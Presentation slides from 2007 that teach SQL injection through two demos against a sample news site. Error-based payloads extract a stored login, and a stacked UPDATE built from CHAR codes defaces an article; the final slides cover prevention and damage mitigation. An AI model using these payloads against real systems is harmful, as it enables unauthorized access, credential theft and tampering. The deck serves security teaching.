

# Are Your Web Applications Safe? SQL Injection Attacks

Presented 10/24/2007

# Outline

- **What SQL Injection Is and Is Not**
- Demo #1: Unauthorized Access
- Demo #2: Modifying Data
- How to prevent SQL Injection

# What SQL Injection Is

- An exploit of an application data layer vulnerability. If successful, it alters behavior of an SQL Statement(s) executed by that application.
- Identified by SANS as one of the top 20 Internet Security Attack Targets.

# What SQL Injection Is Not

- It is not an exploit of a bug in either the Web Server or the Database Server software (e.g. buffer overflow). So patching your machines won't stop SQL Injection.
- It is not easily identified as malicious network traffic, it is often indistinguishable from legitimate traffic between a user and a web application. So your firewall/IPS won't stop SQL Injection.

# Outline

- What SQL Injection Is and Is Not
- **Demo #1: Unauthorized Access**
- Demo #2: Modifying Data
- How to prevent SQL Injection

# Demo #1: Unauthorized Access

- Target: Simple web application for news articles.
  - Public-facing view of articles
  - Administrative login for article management
  - Run on ColdFusion MX 7/MSSQL 2000, but vulnerability applies in some form to all web-app platforms.
- Goal: Gain access to Administrative interface.

# Step 1: Reconnaissance

- We see a list of articles, presumably records from a database table; each article title is a link.
- We see a link to an administrative login. That is more interesting than anything public-facing, so we'll look at that.

# Login Form

- Simple login form; username and password input elements with a submit button.
- First, we'll try a username and password of "admin", since that is common enough.
- But that doesn't work. We could keep trying common usernames and password, but instead...

# Let's try SQL Injection

- Typical credential check SQL for processing a form like this is something like :

```
SELECT * FROM USER_TABLE  
WHERE USERNAME = '#form.username#'  
AND PASSWORD = '#form.password#'
```

- So we'll try the same password and an injection string for the password: **a' asdf**
- If this works, it will make invalid SQL:

```
SELECT * FROM USER_TABLE  
WHERE USERNAME = 'a' asdf  
AND PASSWORD = 'admin'
```

# Attack failed.

- No Error. Same response as an invalid username/password submission, so it appears the processing script is escaping ' characters in the input.

# Back to the drawing board

- Back on the main page, we turn our attention to the list of articles, and click on the first one.
- The resulting detail page displays the contents of the article.
- Of more importance (to us) is the structure of the URL. Note particularly the “ArticleID=1” part.

# Trying again

- Assuming that the processing SQL is something typical like

```
SELECT * FROM RECORD_TABLE  
WHERE ID = #url.articleID#
```

We'll try to pull up another article by changing the 1 to a 2, resulting in:

```
SELECT * FROM RECORD_TABLE  
WHERE ID = 2
```

# Success! ... kind of

- It worked, but so what?
- For something more interesting, we'll try `asdf` instead of 2, so we hope the SQL will be:

```
SELECT * FROM RECORD_TABLE  
WHERE ID = asdf
```

Which is a syntax error.

# Boom!

- The processing script is poorly written doesn't validate the input, so the query crashes with a standard error message.
- The error message contains all sorts of interesting information. To keep things from being too easy, we'll ignore the revelation of the query and act like an automatic attack bot.

# Looking for the User table

- Since we want a username and password, we'll look for a user table. But first, let's see if we can access the sysobjects catalog table (MSSQL specific, but most other RDBMS's have similar tables)
- To do so, we try:  
ArticleID=(SELECT id FROM sysobjects)  
leading to:

```
SELECT * FROM RECORD_TABLE  
WHERE ID = (SELECT id FROM sysobjects)
```

The subquery will return more than one value, causing an error.

# And that's exactly what happened.

- So we know we can access the sysobjects table.
- For the next step, we try to get the error message to display some value stored in the database.
- Thankfully (from one perspective), invalid cast errors are very accommodating. We will try:  
`(SELECT CAST(name AS int) FROM sysobjects)`

# ARTICLE, huh?

- So we know one table name, but it doesn't look like a user table.
- We could use "xtype='U' AND name LIKE '%USER%'" to get a non-system table with a name containing "USER", but "magic quotes" makes that hard. We'll could use the CHAR function to get around that, but for now let's use another technique to read the whole sysobjects table.

# The whole table? How?

- By putting all the fields we care about in the CAST parameter, and pulling one record at a time by excluding all the previous ones we've found.
- We can pull name and id with this:  

```
(SELECT CAST(CAST(id AS nvarchar) %2B name AS int) FROM sysobjects)
```
- The %2B is a + sign, but we can't put a + directly in a url due to the way it is handled.

# That's one row...

- This tells us the id of the “ARTICLE” table, and we can use that to exclude this table in future results:

```
(SELECT CAST(CAST(id AS nvarchar) %2B  
CHAR(124) %2B name AS int) FROM sysobjects  
WHERE id NOT IN (629577281))
```

- The CHAR(124) is to add a pipe character between the id and name to prevent confusion in case a table name starts with a number.

# And another row

- sysobjects. Taking that id, we can exclude that row as well:

```
(SELECT CAST(CAST(id AS nvarchar) %2B  
CHAR(124) %2B name AS int) FROM sysobjects  
WHERE id NOT IN (629577281,1))
```

- To save time, we'll skip ahead to the record of interest:

# Say that 5 times fast

- (SELECT CAST(CAST(id AS nvarchar) %2B CHAR(124) %2B name AS int) FROM sysobjects WHERE id NOT IN (629577281,1,2,3,4,6,8,9,10,11,12,14,19,20,21,22,23,24,95,96,5575058,21575115,37575172,53575229,69575286,85575343,101575400,117575457,133575514,149575571,165575628,181575685,197575742,213575799,229575856,245575913,261575970,277576027,293576084,309576141,325576198,341576255,469576711,485576768,533576939,549576996,565577053,581577110,597577167,645577338,661577395,677577452,693577509))

# TARGET\_USER, indeed

- This one looks promising, so we'll see if it has a username column:

```
(SELECT USERNAME FROM TARGET_USER)
```

- And we see that it does, so we'll try to extract the username and password:

```
(SELECT CAST(USERNAME %2B CHAR(124)  
%2B PASSWORD AS int) FROM TARGET_USER)
```

# Bingo.

- testUser, i2d94kx!
- Password complexity doesn't help here. Encrypted storage would, though.
- Anyway, back to the login form, a little copy and paste...

# We're in...

- But there's not much to see or do. Here we see the security of not implementing the web interface, or at least implementing it such that no one can figure out how to use it.
- We could get the rest of the user table to try other accounts, but for now we can try something else.
- If this system stored sensitive data (CCNs, SSNs, etc), we could extract it using similar methods.

# Outline

- What SQL Injection Is and Is Not
- Demo #1: Unauthorized Access
- **Demo #2: Modifying Data**
- How to prevent SQL Injection

# Demo #2: Modifying data

- Back to the Article page, let's see if the ARTICLE table we saw earlier has a "TITLE" column:

```
(SELECT CAST(TITLE AS int) FROM ARTICLE)
```

# Multiple Queries

- We're pretty sure where the title data is being stored, but we can't execute an UPDATE or INSERT as a sub-query to a SELECT statement. So we need to terminate the SELECT and execute an entirely separate query:

```
ArticleID=2 SELECT CAST(TITLE AS int) FROM  
ARTICLE
```

This causes:

```
SELECT * FROM RECORD_TABLE  
WHERE ID = 2
```

```
SELECT CAST(TITLE AS int) FROM ARTICLE
```

# Changing the title

- Since we can execute a separate query, let's try:

```
2 UPDATE ARTICLE SET TITLE = 9876 WHERE ID = 2
```

- That's not a very interesting title, but string literals are hard to encode since we can't use the ' character. But we **can** use the CHAR function which takes an ASCII code (integer) and returns the corresponding character.

# Correcting the title

- 2 UPDATE ARTICLE SET TITLE =  
CHAR(84)%2BCHAR(104)%2BCHAR(105)%2BCHAR(115)%2BCHAR(32)%2BCHAR(115)%2BCHAR(105)%2BCHAR(116)%2BCHAR(101)%2BCHAR(32)%2BCHAR(104)%2BCHAR(97)%2BCHAR(115)%2BCHAR(32)%2BCHAR(110)%2BCHAR(111)%2BCHAR(116)%2BCHAR(32)%2BCHAR(98)%2BCHAR(101)%2BCHAR(101)%2BCHAR(110)%2BCHAR(32)%2BCHAR(104)%2BCHAR(97)%2BCHAR(99)%2BCHAR(107)%2BCHAR(101)%2BCHAR(100)%2BCHAR(44)%2BCHAR(32)%2BCHAR(116)%2BCHAR(104)%2BCHAR(101)%2BCHAR(114)%2BCHAR(101)%2BCHAR(32)%2BCHAR(97)%2BCHAR(114)%2BCHAR(101)%2BCHAR(32)%2BCHAR(110)%2BCHAR(111)%2BCHAR(32)%2BCHAR(116)%2BCHAR(97)%2BCHAR(110)%2BCHAR(107)%2BCHAR(115)%2BCHAR(32)%2BCHAR(105)%2BCHAR(110)%2BCHAR(32)%2BCHAR(116)%2BCHAR(104)%2BCHAR(101)%2BCHAR(32)%2BCHAR(99)%2BCHAR(105)%2BCHAR(116)%2BCHAR(121)%2BCHAR(46) WHERE ID = 2

# There are no tanks...

- So we have successfully modified public-facing data. In the “wild” the contents of the injected text are often considerably more objectionable.

# Outline

- What SQL Injection Is and Is Not
- Demo #1: Unauthorized Access
- Demo #2: Modifying Data
- **How to prevent SQL Injection**

# Convinced of the threat yet?

- **VALIDATE ANY USER INPUT!!!** A simple check of whether the url parameter was numeric would have prevented all the mischief just done. All other methods of prevention are just getting around the need for robust code. Of course, you might have dozens of apps and not be able to rewrite them all in a reasonable length of time.

# Injection Prevention

- **DO NOT SHOW ERROR MESSAGES** to the end user. They shouldn't see that information. A site-wide error handler can be used to display a generic error message. Log the actual error if you can, so you can spot injection attempts.
- It is better to reject bad input than "fix" it, but it can help to escape all single quotes in user input for use in a query. Don't rely on your web server automatically doing this for you.

# Damage Mitigation

- Disable unnecessary stored procedures on the DB server. In particular:
  - xp\_cmdshell - execute shell commands, can easily lead to machine takeover
  - xp\_regread, xp\_regwrite, etc. - read/write/etc the registry
  - xp\_servicecontrol - start, stop, pause, etc services on the machine
  - etc, etc (there are many dangerous ones)
- Make sure that the Web server's SQL account is **NOT** sa (or equivalent system-admin account).

Also make sure the Web server software and DB server software are not running as Administrator.

# Damage Mitigation (continued)

- Give the application SQL accounts minimum privileges. Shouldn't need DROP TABLE/DATABASE, CREATE TABLE, GRANT/DENY, etc. If it doesn't use stored procedures, turn off EXEC permissions.
- The Web server and Database server should be separate boxes to limit damage. The DB server should only accept network traffic from the Web server. Separate Virtual Machines on the same physical host helps with performance.

# Read up

- Time constrains me from covering more, but there's plenty of information on SQL Injection available on the web:
- [http://www.ngssoftware.com/papers/advanced\\_sql\\_injection.pdf](http://www.ngssoftware.com/papers/advanced_sql_injection.pdf)
- [http://www.ngssoftware.com/papers/more\\_advanced\\_sql\\_injection.pdf](http://www.ngssoftware.com/papers/more_advanced_sql_injection.pdf)
- <http://www.unixwiz.net/techtips/sql-injection.html>
- <http://www.spidynamics.com/papers/SQLInjectionWhitePaper.pdf>
- And much, much more...

Thanks for listening!